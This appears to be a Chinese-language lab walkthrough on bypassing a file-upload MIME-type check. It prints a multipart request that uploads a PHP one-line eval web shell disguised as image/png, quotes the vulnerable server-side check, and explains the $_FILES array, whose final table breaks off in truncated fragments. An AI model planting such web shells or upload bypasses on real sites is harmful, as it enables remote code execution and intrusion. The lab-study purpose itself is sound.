

```
-----38287340543657533331103496362
Content-Disposition: form-data; name="upload_file"; filename="2.php"
Content-Type: image/png

<?php @eval($_POST[a]);?>
-----38287340543657533331103496362
Content-Disposition: form-data; name="submit"

上传
-----38287340543657533331103496362--
```

查看源码可知，会检查上传文件的type类型

```
(($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
    $is_upload = true;
```

修改type为image/png即可上传

mime是多用途互联网邮件扩展类型，用于设定某扩展名文件的打开方式，
如.png在数据包的中的content-type为image/png
\$_FILES是一个全局变量数组，各个值的含义为

\$_FILES['myFile']['name']	上传
\$_FILES['myFile']['type']	文件
\$_FILES['myFile']['size']	已J
\$_FILES['myFile']['tmp_name']	文件的u
\$_FILES['myFile']['error']	和该